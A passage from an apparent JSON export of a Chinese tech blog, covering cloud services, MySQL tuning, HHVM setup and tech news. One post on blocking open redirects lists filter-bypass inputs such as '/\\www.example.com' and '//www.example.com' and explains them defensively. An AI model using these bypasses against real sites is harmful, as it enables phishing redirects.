    "title": "Facebook 官方提供 WiFi 登入綁 Facebook 的服務..."
  },
  {
    "id": "4124",
    "body": "有人對 <a href=\"http://www.vmware.com/\">VMware</a> 以及 <a href=\"https://www.virtualbox.org/\">VirtualBox</a> 測試效能：「<a href=\"http://mitchellh.com/comparing-filesystem-performance-in-virtual-machines\">Comparing Filesystem Performance in Virtual Machines</a>」，有四張圖：\r\n\r\n<img src=\"//i.imgur.com/PMDzwX5.png\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/DQZxio5.png\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/g2SSqhL.png\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/m7YI01P.png\" alt=\"\" />\r\n\r\n不過數字怪怪的，NFS 那邊是怎樣 XDDD\r\n\r\n看看就好，如果有用到再自己測試看看吧？",
    "title": "虛擬環境下檔案系統的讀寫速度..."
  },
  {
    "id": "4126",
    "body": "眾所皆知的，<a href=\"http://www.netflix.com/\">Netflix</a> 幾乎將所有服務都放在 <a href=\"http://aws.amazon.com/\">AWS</a> 上，這當然也包括了 <a href=\"http://aws.amazon.com/s3/\">Amazon S3</a>。\r\n\r\n在 Amazon S3 上會有 Eventually Consistency 的問題：寫入後可能會讀到舊的資料，於是就算錯資料了...\r\n\r\nNetflix 的人討論了幾種方案，後來開發 <a href=\"https://github.com/Netflix/s3mper\">s3mper</a> 用來解決 Amazon S3 的 Eventually Consistency 問題：「<a href=\"http://techblog.netflix.com/2014/01/s3mper-consistency-in-cloud.html\">S3mper: Consistency in the Cloud</a>」。\r\n\r\ns3mper 透過 <a href=\"http://aws.amazon.com/dynamodb/\">AWS DynamoDB</a> 儲存檔案的 metadata，藉以得知是否 consistency。而 Amazon DynamoDB 本身雖然也是 Eventually Consistency，但多了 API 可以得知是否 Consistency。\r\n\r\n在 <a href=\"http://docs.aws.amazon.com/amazondynamodb/latest/developerguide/APISummary.html\">Supported Operations in DynamoDB</a> 可以看到 Data Read and Consistency Considerations 這段提供了兩種 read mode：\r\n<ul>\r\n\t<li>Eventually Consistent Reads</li>\r\n\t<li>Strongly Consistent Reads</li>\r\n</ul>\r\n在 Strongly Consistent Reads 中，可以確認讀到的是不是最新的資料。只有當 DynamoDB 與 S3 的資料都正確時才繼續往下跑...\r\n\r\n這個解法相當於在 Amazon S3 上面架了一層防護網，算是 workaround 吧 :p 如果 Amazon S3 可以提供 consistency 資訊的話，也就不用這樣搞了...",
    "title": "Netflix 對 S3 的 Eventually Consistency 的補強..."
  },
  {
    "id": "4128",
    "body": "去年十月的老文章了，剛剛在翻 link 的時候發現還蠻有趣的：「<a href=\"http://www.npr.org/blogs/parallels/2013/10/24/240493422/in-most-every-european-country-bikes-are-outselling-cars\">In Almost Every European Country, Bikes Are Outselling New Cars</a>」。\r\n\r\n有兩張圖表：\r\n\r\n<img src=\"//i.imgur.com/LVqvlto.png\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/2COjXy2.png\" alt=\"\" />\r\n\r\n2012 年的資料。應該也是因為腳踏車的單價與汽車不在同一個等級的關係吧？",
    "title": "歐洲的腳踏車銷量遠遠超越汽車..."
  },
  {
    "id": "4130",
    "body": "很久前有註冊 <a href=\"http://www.rackspace.com/\">Rackspace</a> 帳號，剛剛無意間登入進去發現其實還蠻有競爭力？\r\n\r\n<img src=\"//i.imgur.com/PtjO8Ae.png\" alt=\"\" />\r\n\r\n有香港伺服器，開了一台起來測試發現從台灣過去的速度都不錯... 而且反應速度比 <a href=\"http://aws.amazon.com/\">AWS</a> 的 <a href=\"https://console.aws.amazon.com/\">Web Console</a> 好太多。\r\n\r\n一開起來有 IPv4 與 IPv6 對外，可以另外自己建立 private network (類似 AWS 的 <a href=\"http://aws.amazon.com/vpc/\">VPC</a>)，一樣有 block stoage (類似 AWS 的 <a href=\"http://aws.amazon.com/ebs/\">EBS</a>)。\r\n\r\n不過透過 Web Console 開機器是給隨機的 root password，而不是 ssh key 登入，這就有點不太一樣了。\r\n\r\n雖然是第二大，但整個順暢度很好啊... 還是頗值得玩看看到底如何 :o",
    "title": "Rackspace 的雲端服務..."
  },
  {
    "id": "4133",
    "body": "看到「<a href=\"http://fideloper.com/hhvm-nginx-laravel\">HHVM, Nginx and Laravel</a>」這篇文章，加上 <a href=\"http://www.rackspace.com/\">Rackspace</a> 香港的機器用起來很愉快，就開一台起來測試...\r\n\r\n文章內的方法都 okay，只是在裝 <a href=\"http://www.hhvm.com/\">HHVM</a> 前少了一步把 key 加到 apt 內的指令：\r\n\r\n<code>apt-key adv --recv-keys --keyserver keyserver.ubuntu.com 5A16E7281BE7A449</code>\r\n\r\n補上去以後 <code>apt-get update</code> 才會動 :p\r\n\r\n速度上當然是沒話說，而且使用的習慣很接近 drop-in replacement 了... (更新檔案後不需要自己另外 purge cache，HHVM 會自己偵測到)\r\n\r\n晚點來測試看看 <a href=\"http://httpd.apache.org/\">Apache</a> 用 <a href=\"http://www.fastcgi.com/\">FastCGI</a> 接 HHVM，如果可行的話就更好了？(<code>.htaccess</code> 啊...)",
    "title": "用 nginx + FastCGI 接 HHVM..."
  },
  {
    "id": "4136",
    "body": "直接看 xip.io 的說明就可以了：「<a href=\"http://xip.io/\">xip.io: wildcard DNS for everyone</a>」。\r\n\r\n重點：\r\n<pre>          10.0.0.1.xip.io   resolves to   10.0.0.1\r\n      www.10.0.0.1.xip.io   resolves to   10.0.0.1\r\n   mysite.10.0.0.1.xip.io   resolves to   10.0.0.1\r\n  foo.bar.10.0.0.1.xip.io   resolves to   10.0.0.1</pre>\r\n\r\n可以拿來測試...",
    "title": "用 *.xip.io 測試..."
  },
  {
    "id": "4138",
    "body": "三個 P 開頭的語言...\r\n\r\n<a href=\"http://php.net/\">PHP</a>：\r\n<pre>#!/usr/bin/env php\r\n&lt;?php\r\n \r\necho \"\\\\\\\"\\'\", \"\\n\";\r\necho '\\\\\\\"\\'', \"\\n\";</pre>\r\n\r\n<a href=\"http://www.perl.org/\">Perl</a>：\r\n<pre>#!/usr/bin/env perl\r\n \r\nuse 5.010;\r\nuse strict;\r\nuse warnings;\r\n \r\nINIT {\r\n    $a = \"\\\\\\\"\\'\";\r\n    $b = '\\\\\\\"\\'';\r\n \r\n    say $a;\r\n    say $b;\r\n}\r\n \r\n__END__</pre>\r\n\r\n<a href=\"http://www.python.org/\">Python</a>：\r\n<pre>#!/usr/bin/env python\r\n \r\nprint \"\\\\\\\"\\'\"\r\nprint '\\\\\\\"\\''</pre>\r\n\r\n結果是：\r\n<pre>$ ./quote.php\r\n\\\"\\'\r\n\\\\\"'\r\n\r\n$ ./quote.pl\r\n\\\"'\r\n\\\\\"'\r\n\r\n$ ./quote.py\r\n\\\"'\r\n\\\"'</pre>\r\n\r\n這...",
    "title": "幾個程式語言對引號以及 backslash 解讀..."
  },
  {
    "id": "4140",
    "body": "前陣子在看資料庫寫入會卡住時找到的問題，主要是 SELECT SQL query 跑太久造成 InnoDB lock issue。\r\n\r\n這個問題可以朝幾個不同方向解決，其中一個方向是升級到 <a href=\"http://dev.mysql.com/\">MySQL</a> 5.6，對 read-only transaction 與 index merge 的判斷與效能都有改善。\r\n\r\n另外一個方向是改善 SQL query 本身效能，讓他不要跑太久就不會有 InnoDB lock issue。這篇要討論的就是這個方法...\r\n\r\n<a href=\"http://dev.mysql.com/\">MySQL</a> 在 5.0 開始就支援 Index Merge Optimization，也就是利用多個 index 的結果運算：「<a href=\"http://dev.mysql.com/doc/refman/5.0/en/index-merge-optimization.html\">Index Merge Optimization</a>」。\r\n\r\n有三種 index merge optimization，可以在 EXPLAIN 時看到：\r\n\r\n<ul>\r\n\t<li>Using intersect(...)</li>\r\n\t<li>Using union(...)</li>\r\n\t<li>Using sort_union(...)</li>\r\n</ul>\r\n\r\n其中 intersection (交集) 的部份，<a href=\"http://www.percona.com/\">Percona</a> 在兩年前有寫一篇關於 Index Merge Intersection 反而會使得效能變差的文章：「<a href=\"http://www.mysqlperformanceblog.com/2012/12/14/the-optimization-that-often-isnt-index-merge-intersection/\">The Optimization That (Often) Isn't: Index Merge Intersection</a>」。\r\n\r\n以歌曲的例子來說，假設有一個表格叫做 song，裡面有千萬首歌曲的資料：\r\n\r\n<pre>+------------+------------+------+-----+---------+----------------+\r\n| Field      | Type       | Null | Key | Default | Extra          |\r\n+------------+------------+------+-----+---------+----------------+\r\n| song_id    | int(10)    | NO   | PRI | NULL    | auto_increment |\r\n| album_id   | int(10)    | NO   | MUL | 0       |                |\r\n| artist_id  | int(10)    | NO   | MUL | 0       |                |\r\n| song_valid | tinyint(1) | NO   | MUL | 0       |                |\r\n+------------+------------+------+-----+---------+----------------+</pre>\r\n\r\n其中 album_id 自己一個 index，artist_id 自己也一個 index，song_valid 自己也一個 index。當下這樣的 query 時就有可能會出現 index merge：\r\n\r\n<code>SELECT * FROM song WHERE artist_id = 10000 AND song_valid = 1;</code>\r\n\r\n其中 <code>song_valid = 1</code> 可能會佔 song 表格裡 90% 的資料，也就是 900 萬筆...\r\n\r\n如果發生 index merge，MySQL 會先抓出 <code>artist_id = 10000</code> 的 song_id，以及 <code>song_valid = 1</code> 的 song_id 取交集，會造成大量的 seq i/o read。即使這些資料都在記憶體 cache 內，還是需要 CPU 大量運算。用 force index 的方式強迫 MySQL 直接用 artist_id 的 index 抓出來掃會快很多。\r\n\r\n不過仔細去想，會發現有幾個解法：\r\n<ul>\r\n\t<li>應該對 (artist_id, song_valid) 建立 index，而非對 artist_id 單一欄位建立。這樣上面的 query 就會直接用到這個 index。</li>\r\n\t<li>或是，由於 90% 的資料都是 song_valid = 1，而我們大多數也都是查 song_valid = 1，就直接把 song_valid 的 index 拔掉。</li>\r\n</ul>\r\n我是選擇後面這條，這是 index 愈多反而變得愈慢的 case 之一。",
    "title": "Index 下的不好會對 MySQL 的 Index Merge 產生負面效果..."
  },
  {
    "id": "4151",
    "body": "<a href=\"http://www.daemonology.net/hn-daily/\">Hacker News Daily</a> 上看到的：「<a href=\"https://www.youtube.com/watch?v=OPcV9uIY5i4\">[TAS] Super Mario World \"Executes Arbitrary Code\" in 02:25.19 by Masterjun</a>」。\r\n\r\n沒想到這兩個名詞會同時出現... ~_~\r\n\r\n<iframe width=\"640\" height=\"480\" src=\"//www.youtube.com/embed/OPcV9uIY5i4\" frameborder=\"0\" allowfullscreen></iframe>",
    "title": "超級馬力歐世界的 Executes Arbitrary Code..."
  },
  {
    "id": "4155",
    "body": "也不能算是 Cheatsheet... 但功能很接近了：「<a href=\"https://gobyexample.com/\">Go by Example</a>」。\r\n\r\n因為不常寫 <a href=\"http://golang.org/\">Go</a>，每次要寫小東西的時候都要重新複習，這個網站提供了範例重點讓看過 Go 文件的人可以快速查詢，包含了常用的 library 的呼叫方式。\r\n\r\n先 bookmark 起來...",
    "title": "Go 的 cheatsheet？"
  },
  {
    "id": "4159",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到 <a href=\"http://www.openbsd.org/\">OpenBSD</a> 要支援 signed package 的消息：「<a href=\"http://bsd.slashdot.org/story/14/01/19/0124202/openbsd-moving-towards-signed-packages-based-on-d-j-bernstein-crypto\">OpenBSD Moving Towards Signed Packages — Based On D. J. Bernstein Crypto</a>」。\r\n\r\n使用的演算法是 <a href=\"http://cr.yp.to/djb.html\">djb</a> 的 <a href=\"http://ed25519.cr.yp.to/\">Ed25519</a>，是基於橢圓曲線密碼系統的演算法。演算法名稱取自 2<upper>255</upper>-19 這個參數。\r\n\r\n<blockquote>[ed25519] 23pp. (<a href=\"http://ed25519.cr.yp.to/ed25519-20110926.pdf\">PDF</a>) Daniel J. Bernstein, Niels Duif, Tanja Lange, Peter Schwabe, Bo-Yin Yang. High-speed high-security signatures. Journal of Cryptographic Engineering 2 (2012), 77–89. Document ID: a1a62a2f76d23f65d622484ddd09caf8. URL: http://cr.yp.to/papers.html#ed25519. Date: 2011.09.26.</blockquote>\r\n\r\n意外發現<a href=\"https://www.google.com/search?q=%E9%AD%AF%E6%95%99%E6%8E%88+site:ptt.cc\">魯教授</a>的名字出現在列表上...",
    "title": "OpenBSD 要支援 signed package 了..."
  },
  {
    "id": "4161",
    "body": "自從 <a href=\"http://www.ibm.com/\">IBM</a> 的 <a href=\"https://zh.wikipedia.org/wiki/ThinkPad\">ThinkPad</a> 被聯想買下後，就愈來愈糟糕了，尤其是對鍵盤的品味為人詬病已久...\r\n\r\n這次有寫手受不了了，寫了一篇對鍵盤「改進」很不滿的文章：「<a href=\"http://hardware.slashdot.org/story/14/01/18/1246258/stop-trying-to-innovate-keyboards-youre-just-making-them-worse\">Stop Trying To 'Innovate' Keyboards, You're Just Making Them Worse</a>」。\r\n\r\n<img src=\"//i.imgur.com/eTcS4FW.jpg\" alt=\"\" />\r\n\r\n上面這張鍵盤的圖出自原文，副標題是「Oh my god.」... XDDD\r\n\r\n沒有直接的 F1～F12 按鍵，另外「`~」的位置居然在下方，Home 與 End 則在左方？這應該要花很多時間努力才能熟悉這個鍵盤 XDDD",
    "title": "有人受不了聯想的鍵盤了..."
  },
  {
    "id": "4163",
    "body": "<a href=\"http://slashdot.org/\">Slashdot</a> 上看到電冰箱被攻陷當成跳板，被拿來發廣告信：「<a href=\"http://it.slashdot.org/story/14/01/18/021213/the-spamming-refrigerator\">The Spamming Refrigerator</a>」。<a href=\"http://www.bbc.co.uk/\">BBC</a> 的報導在「<a href=\"http://www.bbc.co.uk/news/technology-25780908\">Fridge sends spam emails as attack hits smart gadgets</a>」。\r\n\r\n原始報導是「<a href=\"http://www.proofpoint.com/about-us/press-releases/01162014.php\">Proofpoint Uncovers Internet of Things (IoT) Cyberattack</a>」這篇。\r\n\r\n就報導的文章裡看不出來是什麼智慧型電冰箱...",
    "title": "電冰箱也是會「中毒」的..."
  },
  {
    "id": "4168",
    "body": "關於 <a href=\"http://www.rsa.com/\">RSA</a> 幹了什麼事情，可以參考「<a href=\"http://blog.gslin.org/archives/2014/01/11/4110/owasp-%E5%8F%96%E6%B6%88%E8%88%87-rsa-conference-%E7%9A%84%E5%90%88%E4%BD%9C/\">OWASP 取消與 RSA Conference 的合作...</a>」這篇的說明...\r\n\r\n剛剛在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到這些反對者決定另外成立一個 conference，叫做 <a href=\"https://www.trustycon.org/\">TrustyCon</a>：「<a href=\"http://it.slashdot.org/story/14/01/20/1652237/rsa-boycot-group-sets-up-rival-conference\">RSA Boycot Group Sets Up Rival Conference</a>」：\r\n\r\n<img src=\"//i.imgur.com/AE7q6bi.png\" alt=\"\" />\r\n\r\n日期在 2/27，很理所當然的，與 <a href=\"http://www.rsaconference.com/\">RSA Conference 2014</a> 的 2/24～2/28 衝到。\r\n\r\n而且已經找到贊助商了，分別是 <a href=\"http://www.microsoft.com/\">Microsoft</a> 與 <a href=\"https://www.cloudflare.com/\">CloudFlare</a>。",
    "title": "反 RSA Conference 的人要另外開一個 TrustyCon..."
  },
  {
    "id": "4171",
    "body": "<a href=\"http://aws.amazon.com/\">AWS</a> 官方公告這一波改善：「<a href=\"http://aws.typepad.com/aws/2014/01/aws-update-new-m3-features-reduced-ebs-prices-reduced-s3-prices.html\">AWS Update - New M3 Sizes & Features + Reduced EBS Prices + Reduced S3 Prices</a>」。\r\n\r\n首先是 <a href=\"http://aws.amazon.com/ec2/\">EC2</a> 多了 m3.medium 與 m3.large，與 m1.medium 與 m1.large 相比很有競爭力？\r\n\r\n以 {m1,m3}.medium 比較來看，m3 的 ECU 值比 m1 高 50% (3 vs 2)，而且有 SSD 硬碟 (雖然只有 4GB)，價錢又比較便宜... 拿來跑 CPU bound 的 server 看起來就很好用啊？\r\n\r\n另外一個超大的降價是 <a href=\"http://aws.amazon.com/ebs/\">EBS</a>，空間費用與 i/o 的費用都直接降 50%...\r\n\r\n該來找人討論 <a href=\"https://kktix.com/\">KKTIX</a> 要不要 migrate 過去了...",
    "title": "AWS EC2 更新以及降價，以及 EBS 降價..."
  },
  {
    "id": "4173",
    "body": "HTTP Response Header 的 Location (俗稱「轉址」) 被用在不少地方，剛好今天被 <a href=\"https://twitter.com/ccn\">ccn</a> 戳到相關的問題...\r\n\r\n在維基百科的「<a href=\"https://en.wikipedia.org/wiki/HTTP_location\">HTTP location</a>」條目裡面有說明 <a href=\"https://tools.ietf.org/html/rfc2616\">HTTP/1.1</a> 的規範裡要求必須是 absolute URI：\r\n\r\n<pre>Location       = \"Location\" \":\" absoluteURI</pre>\r\n\r\n但實務上，目前市場上常見的瀏覽器都支援相對路徑。而且在 HTTP/1.1 修正版 (目前還在 draft) 裡被修正成：\r\n\r\n<pre>Location = URI-reference</pre>\r\n\r\n並且說明 relative 時的判定方式：\r\n\r\n<blockquote>The field value consists of a single URI-reference.  When it has theform of a relative reference ([RFC3986], Section 4.2), the final value is computed by resolving it against the effective request URI ([RFC3986], Section 5).</blockquote>\r\n\r\n所以就大膽用吧...",
    "title": "HTTP Header 裡的 Location 使用相對路徑..."
  },
  {
    "id": "4181",
    "body": "<a href=\"http://www.percona.com/\">Percona</a> 的人寫了一篇「<a href=\"http://www.mysqlperformanceblog.com/2014/01/23/percona-server-improve-scalability-percona-thread-pool/\">Percona Server: Improve Scalability with Percona Thread Pool</a>」，提到關於 MySQL 在連線數很多時的效能。\r\n\r\n傳統的作法是一個連線使用一個 thread，這種方法實做起來很簡單，但當連線數超過一定程度時就會因為共用資源的限制而變慢。\r\n\r\n其中一種解決方法是引入 Thread Pool 架構，也就是 M 個 thread 處理 N 個連線。\r\n\r\n<a href=\"http://www.oracle.com/\">Oracle</a> 有提供商用版本叫做 Thread Pool Plugin，就如同名字，是以 plugin 形式存在。這個功能在 <a href=\"http://dev.mysql.com/doc/refman/5.5/en/thread-pool-plugin.html\">5.5</a> 與 <a href=\"http://dev.mysql.com/doc/refman/5.6/en/thread-pool-plugin.html\">5.6</a> 都有。\r\n\r\n<a href=\"https://mariadb.org/\">MariaDB</a> 也有 open source 實做的 <a href=\"https://mariadb.com/kb/en/threadpool-in-55/\">Thread pool</a>。\r\n\r\n而 Percona 則是使用 MariaDB 的版本。(原文是說有改善，不過 benchmark 並沒有列出來，我「猜」其實沒什麼改善...)\r\n\r\n<img src=\"//i.imgur.com/iZ0Y1PE.png\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/dla8zrC.png\" alt=\"\" />\r\n\r\n可以看到在多連線數時的效果相當好。在 MariaDB 的文件裡有提到會有改善的時機：\r\n\r\n<blockquote>Threadpools are most efficient in situations where queries are relatively short and the load is CPU bound (OLTP workloads). If the workload is not CPU bound, you might still want to limit the number of threads to save memory for the database memory buffers.</blockquote>\r\n\r\nquery 相對短，而且是 CPU bound。\r\n\r\n回頭看的時候發現 <a href=\"http://www.percona.com/software/percona-server\">Percona Server</a> 5.5 就有支援 <a href=\"http://www.percona.com/doc/percona-server/5.5/performance/threadpool.html\">Thread Pool</a> 了，應該來測試看看效果如何...",
    "title": "MySQL 上的 Thread Pool..."
  },
  {
    "id": "4183",
    "body": "最近幾天備份服務 <a href=\"http://www.backblaze.com/\">Backblaze</a> 以他們自家使用大量的硬碟統計數字 (快三萬顆硬碟)，對硬碟耐用程度發了一篇「<a href=\"http://blog.backblaze.com/2014/01/21/what-hard-drive-should-i-buy/\">What Hard Drive Should I Buy?</a>」的文章。\r\n\r\n其實最重要的事情在第一張圖的年故障率就講的差不多了...\r\n\r\n<img src=\"//i.imgur.com/jXVetQw.jpg\" alt=\"\" />\r\n\r\n另外還有一張三年<del>故障率</del>存活率：\r\n\r\n<img src=\"//i.imgur.com/eez3Szg.jpg\" alt=\"\" />\r\n\r\n這數字在國外引起不小的風暴啊...",
    "title": "各家硬碟的耐用程度..."
  },
  {
    "id": "4185",
    "body": "在「<a href=\"http://torrentfreak.com/is-your-isp-messing-with-bittorrent-traffic-find-out-140123/\">Is Your ISP Messing With BitTorrent Traffic? Find Out</a>」這篇文章裡提到了 <a href=\"http://www.measurementlab.net/\">Measurement Lab</a> 公開所蒐集到的資訊，列出全世界各 ISP 過濾限流的比率：「<a href=\"http://netneutralitymap.org/\">How neutral is the net?</a>」。\r\n\r\n台灣的部份抓出來如下：\r\n\r\n<img src=\"//i.imgur.com/1j2K9IN.png\" alt=\"\" />\r\n\r\n由於不知道到底是怎麼計算，所以只有 ranking 的部份有意義，而且只能挑大的看 (其他樣本太少的無法判斷準確性)。\r\n\r\n最大的當然還是 <a href=\"http://www.hinet.net/\">HiNet</a>，比率是 13.2%，比起其他 ISP 低很多。這跟外面一般講「如果要跑 P2P 還是用 HiNet」的感覺接近。",
    "title": "台灣 ISP 過濾限流的比率..."
  },
  {
    "id": "4188",
    "body": "<a href=\"http://opensource.hk/2014\">香港開源年會 2014</a>：\r\n\r\n<img src=\"//i.imgur.com/1x7si83.png\" alt=\"\" />\r\n\r\n2014/03/29 (星期六) 在香港舉辦，確切地點還沒定案。",
    "title": "香港開源年會 2014"
  },
  {
    "id": "4190",
    "body": "<a href=\"http://ingramchen.io/\">Ingram Chen</a> 寫的「<a href=\"http://ingramchen.io/blog/2014/01/obvious-choice.html\">Obvious Choice</a>」這篇舉的例子剛好是在討論資料庫裡 Primary Key 的設計。\r\n\r\n這個問題之前在 interview 的時候曾經拿出來問。問到資料庫相關的題目時，有些人在設計 schema 會多放一個 id 欄位，有些人則不會放。\r\n\r\n有放 id 欄位的我就會問「為什麼要放」，沒有 id 欄位的我就會問「為什麼不這樣設計」。重點不在於哪個才是正確的，而是在於要能夠說明為何這樣選擇。\r\n\r\n不過大多數人都是「看別都這樣做，所以我就這樣做」，可惜...",
    "title": "資料庫裡 Primary Key 的選擇..."
  },
  {
    "id": "4192",
    "body": "<a href=\"http://www.linode.com/\">Linode</a> 剛剛公佈了 <a href=\"https://github.com/linode/cli\">Linode CLI</a> 工具：「<a href=\"https://blog.linode.com/2014/01/28/linode-cli/\">Linode CLI</a>」。\r\n\r\n工具是用 <a href=\"http://www.perl.org/\">Perl</a> 寫的，<a href=\"https://www.facebook.com/\">Facebook</a> 上有張 screenshot：\r\n\r\n<img src=\"//i.imgur.com/h55tCBZ.png\" alt=\"\" />\r\n\r\n基於現有的 <a href=\"https://www.linode.com/api/\">Linode API</a> 開發的工具...",
    "title": "Linode CLI..."
  },
  {
    "id": "4194",
    "body": "昨天在 <a href=\"https://twitter.com/\">Twitter</a> 上看到的，剛剛在「<a href=\"http://kottke.org/14/01/regular-expression-crossword-puzzle\">Regular expression crossword puzzle</a>」又看到：\r\n\r\n<img src=\"//i.imgur.com/veQiXgN.jpg\" alt=\"\" />\r\n\r\n印出來過年來填...",
    "title": "Regular Expression 字謎遊戲..."
  },
  {
    "id": "4196",
    "body": "<a href=\"http://aws.amazon.com/ses/\">AWS SES</a> 多開了幾個點：「<a href=\"http://aws.typepad.com/aws/2014/01/two-new-locations-for-the-amazon-simple-email-service.html\">Two New Locations for Amazon Simple Email Service</a>」。\r\n\r\n看起來是針對這兩個 region 的 <a href=\"http://aws.amazon.com/\">AWS</a> 而設計的，不然以 e-mail 的性質是不太需要另外再開...",
    "title": "AWS SES 支援歐洲與美西二區 Endpoint..."
  },
  {
    "id": "4198",
    "body": "烏克蘭的革命是目前全世界的焦點 (Google News 的「<a href=\"https://www.google.com/search?tbm=nws&q=ukraine\">Ukraine</a>」)，但國內幾乎沒看到什麼新聞報導...\r\n\r\n其中 <a href=\"https://github.com/fre5h/DoctrineEnumBundle\">DoctrineEnumBundle</a> 的 pull request 也因為事主的回應爆紅：「<a href=\"https://github.com/fre5h/DoctrineEnumBundle/pull/12\">support SQLite for functional testing purposes</a>」：\r\n\r\n<blockquote>I will take a look later. Much much later. Because I'm Ukrainian and we have revolution right now. Sorry</blockquote>\r\n\r\n在「<a href=\"http://zyalt.livejournal.com/984735.html\">Revolution in Kiev, Ukraine</a>」可以看到更多照片與資訊：\r\n\r\n投擲武器：\r\n\r\n<img src=\"//i.imgur.com/wIkFknw.jpg\" alt=\"\" />\r\n\r\n汽油彈：\r\n\r\n<img src=\"//i.imgur.com/p4IySTW.jpg\" alt=\"\" />\r\n\r\n<img src=\"//i.imgur.com/ZpeUQ5H.jpg\" alt=\"\" />\r\n\r\n沒人在跟你客氣的...",
    "title": "在烏克蘭的革命..."
  },
  {
    "id": "4200",
    "body": "29 億美金的交易：「<a href=\"http://www.reuters.com/article/2014/01/29/us-google-lenovo-idUSBREA0S1YN20140129\">Lenovo to buy Google's Motorola in China's largest tech deal</a>」。\r\n\r\n紐約時報的「<a href=\"http://dealbook.nytimes.com/2014/01/29/did-google-really-lose-on-its-original-motorola-deal/\">Did Google Really Lose on Its Original Motorola Deal?</a>」這篇給了一種分析的想法，實際上 <a href=\"https://www.google.com/\">Google</a> 並沒有損失太多？\r\n\r\n另外一方面，聯想最近動作很多啊...",
    "title": "聯想買下 Motorola..."
  },
  {
    "id": "4202",
    "body": "剛剛在弄 <a href=\"http://www.linode.com/\">Linode</a> 上的 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 時要裝 <a href=\"https://launchpad.net/ubuntu/+ppas\">PPA</a>，發現沒有 apt-add-repository 可以用，找了一下資料發現這不是系統一定會安裝的軟體，所以要自己手動安裝：\r\n\r\n<pre>apt-get install python-software-properties</pre>\r\n\r\n裝完後就可以繼續裝 PPA 了。",
    "title": "Ubuntu 上找不到 apt-add-repository 的解法"
  },
  {
    "id": "4207",
    "body": "放長假的時候總是可以感覺到世界上其他地方是沒放假的...\r\n\r\n<a href=\"http://www.percona.com/\">Percona</a> 宣佈 <a href=\"http://www.percona.com/software/percona-xtradb-cluster\">Percona XtraDB Cluster</a> 5.6 進入 GA (General Availability)：「<a href=\"http://www.mysqlperformanceblog.com/2014/01/30/percona-xtradb-cluster-5-6-ga-release-now-available/\">Percona XtraDB Cluster 5.6 GA release now available</a>」。\r\n\r\nPercona XtraDB Cluster 5.6 是基於 <a href=\"http://dev.mysql.com/\">MySQL</a> 5.6 以及 <a href=\"http://codership.com/content/using-galera-cluster\">Galera Cluster</a> 3 的版本。\r\n\r\n其實最主要的效能改善是 <a href=\"http://www.oracle.com/\">Oracle</a> 在 MySQL 5.6 上面下的功夫，比起 5.5 好不少。\r\n\r\nPercona 官方有提到，現有的 PXC 5.5 可以在不停機的情況下升級到 5.6 (兩台輪流升級)，這是件好事 (表示有問題回報時會被處理)，但需要實際測試過才知道要怎麼做。所以就先在虛擬機裡面測試看看，沒問題就來規劃...\r\n\r\n不過 PXC 上應該還是不能用 memcache interface 吧？之前有提到有問題，而且也沒看到有解決，所以應該還是不能用？",
    "title": "Percona XtraDB Cluster 5.6 GA"
  },
  {
    "id": "4209",
    "body": "這應該是 <a href=\"http://dev.mysql.com/\">MySQL</a> 的 best practice 之一，不知道為什麼 <a href=\"http://www.xaprb.com/\">Baron Schwartz</a> 又拿出來講：「<a href=\"http://www.xaprb.com/blog/2014/01/30/timestamps-in-mysql/\">A simple rule for sane timestamps in MySQL</a>」。\r\n\r\nMySQL 內可以儲存「日期與時間」的資料型態是 DATETIME 與 TIMESTAMP 兩種，不過 DATETIME 沒有時區觀念，而 TIMESTAMP 只能是 UTC (GMT+0)。\r\n\r\n相較於隔壁棚 <a href=\"http://www.postgresql.org/\">PostgreSQL</a> 的 <a href=\"http://www.postgresql.org/docs/9.3/static/datatype-datetime.html\">Date/Time Types</a> 就一種 TIMESTAMP，但支援 with timezone 與 without timezone 直接解決問題。\r\n\r\n這使得 MySQL 上在儲存「日期與時間」以及處理的時候一直有種 WTF 的感覺...\r\n\r\n就如同 Baron Schwartz 的建議，如果使用 MySQL，目前比較好的方法是用 <code>INT UNSIGNED NOT NULL</code> 儲存，把 timezone 的處理都放到應用程式端來處理，這樣產生的問題會比較少...\r\n\r\n真的需要在 INSERT 或是 UPDATE 時更新欄位，可以用 trigger 處理，彈性反而比內建功能大不少。",
    "title": "MySQL 裡儲存時間的方式..."
  },
  {
    "id": "4212",
    "body": "Open Redirect 的問題可以參考：\r\n<ul>\r\n\t<li><a href=\"http://cwe.mitre.org/data/definitions/601.html\">CWE-601: URL Redirection to Untrusted Site ('Open Redirect')</a></li>\r\n\t<li><a href=\"https://www.owasp.org/index.php/Open_redirect\">Open redirect</a></li>\r\n</ul>\r\n這兩個連結。主要是要避免 phishing 的問題上。\r\n\r\n一開始是以「只允許 <code>/</code> 開頭」為條件過濾，但 protocol-relative 的 <code>//www.example.com</code> 可以繞開。\r\n\r\n如果變成「只允許 <code>/</code> 開頭，但不允許 <code>//</code> 開頭」，是不是就沒事了呢？\r\n\r\n在「<a href=\"http://homakov.blogspot.com/2014/01/evolution-of-open-redirect-vulnerability.html\">Evolution of Open Redirect Vulnerability.</a>」這邊又看到新招：「<code>/\\www.example.com</code>」。\r\n\r\n想要用 <code><a href=\"http://php.net/manual/en/function.parse-url.php\">parse_url</a>()</code> 檢查？沒問題：\r\n<pre>$ php -a\r\nInteractive mode enabled\r\n\r\nphp &gt; var_dump(parse_url(\"/\\\\www.example.com\"));\r\narray(1) {\r\n  'path' =>\r\n  string(17) \"/\\www.example.com\"\r\n}</pre>\r\n\r\n但實際測試會發現 IE8 與 Google Chrome 都會跳到 www.example.com (沃槽)，其他瀏覽器就先不測了 ~_~\r\n\r\n不過原文說的 <code>///www.example.com</code> 在 <a href=\"http://www.php.net/\">PHP</a> 上測試應該是不會過的？\r\n<pre>$ php -a\r\nInteractive mode enabled\r\n\r\nphp &gt; var_dump(parse_url(\"///www.example.com\"));\r\nbool(false)</pre>\r\n\r\n反正又冒出一堆問題要處理了 ~_~",
    "title": "擋 Open Redirect 的問題..."
  },
  {
    "id": "4221",
